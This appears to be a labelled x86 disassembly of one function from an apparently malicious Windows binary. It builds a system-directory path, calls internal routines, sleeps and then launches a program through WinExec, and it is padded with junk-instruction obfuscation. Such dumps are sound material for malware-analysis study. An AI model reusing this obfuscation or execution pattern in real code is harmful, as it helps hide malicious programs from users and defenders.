Function at 0x401240
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
xor dl, dl
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0xc], 1
stosb byte es:[edi], al
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x214]
push esi
push ecx
lea edx, [ebp - 0x110]
push 0x41c6c0
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
je 0x4012c8
mov ch, ch
xchg esi, esi
jne 0x4012c8
inc esp
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
push ecx
call fcn.004036e0
add esp, 0x18
push bx
push dx
push eax
cmp dh, 0x43
dec bl
dec bl
or bl, dh
cmp bl, 0x68
add bl, 0x3c
dec dl
dec bh
cmp eax, 0x6e32
pop eax
pop dx
pop bx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
push edx
mov edx, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
push esi
call fcn.004039f0
add esp, 0x18
test eax, eax
jne 0x401322
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push edx
xor al, 0x3d
sub ah, 0x2b
add eax, 0x7c28
or dh, dl
xor ax, dx
cmp ax, 0x4001
pop edx
pop eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
push edx
lea eax, [ebp - 0x110]
push 0x41c6d4
push eax
call fcn.00403030
add esp, 0x10
test eax, eax
jne 0x401360
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push edx
xor al, 0x3d
sub ah, 0x2b
add eax, 0x7c28
or dh, dl
xor ax, dx
cmp ax, 0x4001
pop edx
pop eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.00403f20
add esp, 4
push ecx
push edi
push ax
test di, 0x934
test edi, 0x48bd
and edi, eax
and ch, 0xb
cmp cl, 0x6f
mov cl, 0xc
sub di, 0x5090
test cx, di
pop ax
pop edi
pop ecx
push eax
push edx
cmp dh, al
mov eax, 0x2562
add ax, di
test ax, 0x5cb2
cmp ax, di
cmp ax, di
or al, 0x4c
or eax, ecx
pop edx
pop eax
call fcn.00401b00
push ebx
push cx
push dx
xor ch, bl
pop dx
pop cx
pop ebx
push 0x41c6f8
call fcn.00401870
add esp, 4
cmp eax, 0xffffffff
je 0x4013f1
mov edi, 0xe
jmp 0x401408
push 0x41c6ec
call fcn.00401870
add esp, 4
cmp eax, 0xffffffff
je 0x401439
mov edi, 0xf
mov edx, dword [ebp + 0xc]
push edx
push esi
call fcn.00403180
add esp, 8
test eax, eax
je 0x401439
push edi
call fcn.00401000
push edi
call fcn.00402020
add esp, 8
call fcn.00401030
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
je 0x40144a
push cx
mov cl, 0x54
pop cx
jne 0x40144a
push ss
pop edi
push 0x47
test eax, 0x858d18c5
invalid
lea eax, [ebp - 0x110]
push eax
push esi
call fcn.004031c0
add esp, 8
test eax, eax
jne 0x401461
mov dword [ebp - 0xc], eax
jp 0x40146d
push ecx
mov ecx, 0x54689436
pop ecx
jnp 0x40146d
or dword [ebx - 0x3f7a0bbb], 0x74
adc byte [esi - 0x18], dl
out 0x22, al
add byte [eax], al
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x401484
push esi
call 0x403760
add esp, 4
test eax, eax
jne 0x401484
mov dword [ebp - 0xc], eax
push bx
push si
push edi
or edi, 0x3f3c
and si, cx
pop edi
pop si
pop bx
mov esi, dword [ebp - 0xc]
test esi, esi
jne 0x4014b0
mov ecx, dword [ebp + 8]
push esi
push ecx
call fcn.00404160
add esp, 8
mov dword [ebp - 0xc], eax
mov esi, eax
push edx
push edi
sub dx, dx
cmp edx, ecx
cmp dx, ax
test edx, 0x4d5b
sub di, 0x50f1
mov di, 0x11cb
and di, ax
pop edi
pop edx
test esi, esi
je 0x4014dc
push 0xffffffffffffffff
call fcn.00402020
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0x41c70c
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov eax, esi
pop edi
pop esi